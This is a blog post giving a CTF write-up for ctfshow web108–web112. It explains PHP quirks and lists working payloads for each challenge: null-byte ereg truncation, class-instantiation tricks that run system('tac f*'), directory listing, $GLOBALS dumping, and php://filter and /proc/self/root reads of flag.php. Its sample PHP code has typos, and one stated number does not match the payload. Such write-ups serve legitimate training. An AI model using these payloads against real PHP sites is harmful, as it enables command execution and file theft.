ctfshow web入门 php特性 web108-web112

1.web108

在这里插入图片描述
strrev() 反转字符串

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?> 

ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
payload:

c=a%00778

2.web109

在这里插入图片描述
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

class a{
public $b;
public function __constrcut($a){
	$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa

echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
payload:

v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')

3.web110

在这里插入图片描述
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
payload:

v1=FilesystemIterator&v2=getcwd

4.web111

在这里插入图片描述
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值

$a='djkad';
$b=&a;
echo $b;   #djkad
echo $a;   #djkad
var_dump($GLOBALS);  #会输出$a,$b的值等

payload:

v1=ctfshow&v2=GLOBALS

5.web112

在这里插入图片描述
考查的是php伪协议,没想到
payload:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

参考文章:
php特性

posted @ 2023-08-26 11:05  mushangqiujin  阅读(0)  评论(0编辑  收藏  举报  来源